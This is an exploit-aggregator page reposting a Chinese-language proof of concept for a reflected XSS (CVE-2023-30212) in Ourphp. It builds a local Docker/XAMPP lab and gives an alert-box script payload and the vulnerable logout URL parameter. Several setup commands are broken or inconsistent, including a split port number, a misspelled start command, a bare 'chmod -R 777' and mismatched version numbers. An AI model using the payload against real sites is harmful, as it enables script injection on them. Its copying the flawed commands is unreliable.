Sploitus

Exploit for CVE-2023-30212-POC

kitploit · 2026-09-13

Exploit Code

MARKDOWN79 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ARUNSNAP-CVE-2023-30212-POC
# CVE-2023-30212-POC

## 创建易受攻击的 Docker 环境并利用 Ourphp 7.2.0 版本中的漏洞(CVE 2023 30212)

#### 步骤 1:在您的系统中下载并安装 Docker。我使用 Docker,因为安装 Ubuntu 快速且简单。

#### 步骤 2:设置 Docker 环境

root@kitploit:~
    
    
    sudo apt-get install docker.io
    docker pull ubuntu
    docker run -d -t --name test-container -p 80:80 -p 443:44
    3 -p 3306:3306 -p 21:21 ubuntu
    docker exec -it test-container bash
    

#### 步骤 3:安装依赖项

root@kitploit:~
    
    
    apt-get update
    apt-get install wget
    apt-get install nano
    apt-get install unzip
    apt-get install net-tools
    apt-get install locate
    

#### 步骤 4:安装 Web 服务器、PHP 和 MySQL。我将为此安装 XAMPP 服务器。

root@kitploit:~
    
    
    wget https://liquidtelecom.dl.sourceforge.net/project/xampp/XAMPP%20Linux/7.2.0/xampp-linux-x64-7.2.0-0-installer.run
    chmod +x xampp-linux-x64-7.2.0-0-installer.run
    ./xampp-linux-x64-7.2.0-0-installer.run
    cd /opt/lampp
    ./xmapp start
    

#### 步骤 5:下载 Ourphp 7.2.0 版本

root@kitploit:~
    
    
    wget https://zdown.chinaz.com/202305/ourphp-zyb-v7.5.0.20230515.zip
    cp ourphp-zyb-v7.5.0.20230515.zip /opt/lampp/htdocs
    unzip ourphp-zyb-v7.5.0.20230515.zip /opt/lampp/htdocs/
    chmod -R 777
    

#### 步骤 6:在浏览器中设置 Ourphp。打开浏览器并输入 localhost 或 127.0.0.1,按照说明安装 Ourphp。

#### 步骤 7:利用漏洞。Ourphp 7.2.0 版本存在 XSS(跨站脚本)漏洞。为了缓解 /client/manage /ourphp_out.php 文件中允许执行 XSS 代码的漏洞

![登录](https://assets.kitploit.com/production/public/readmes/22857/c5f0779d4c8ef7904ea587f2b55390f8cf52bc324ffef1e4ce42aa8a8e554230.png) ![发现](https://assets.kitploit.com/production/public/readmes/22857/f934a517cbadc6407e10ae29e83c1fdfaa3a1bc8fcef2402f6bee978ad687e03.jpg)

#### 您需要修改代码。漏洞源于当 "ourphp_admin" 参数设置为 "logout" 时,可控制的变量是 "out"。

![最终](https://assets.kitploit.com/production/public/readmes/22857/602ca736dd00fffb9488b2607470999d2f695cecfc7962f6c5cbcfed724b0184.png)

## 概念验证

root@kitploit:~
    
    
     payload - "</script><script>alert('xss')</script>".
    

参数 - http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=

## 视频

![视频](https://assets.kitploit.com/production/public/readmes/22857/3705624acdfefbb4f0ff42393c846b9bf2fc86aed40576b5a15acbb5eb70e632.jpg)  
(https://www.youtube.com/watch?v=l9lHyjY9_X0)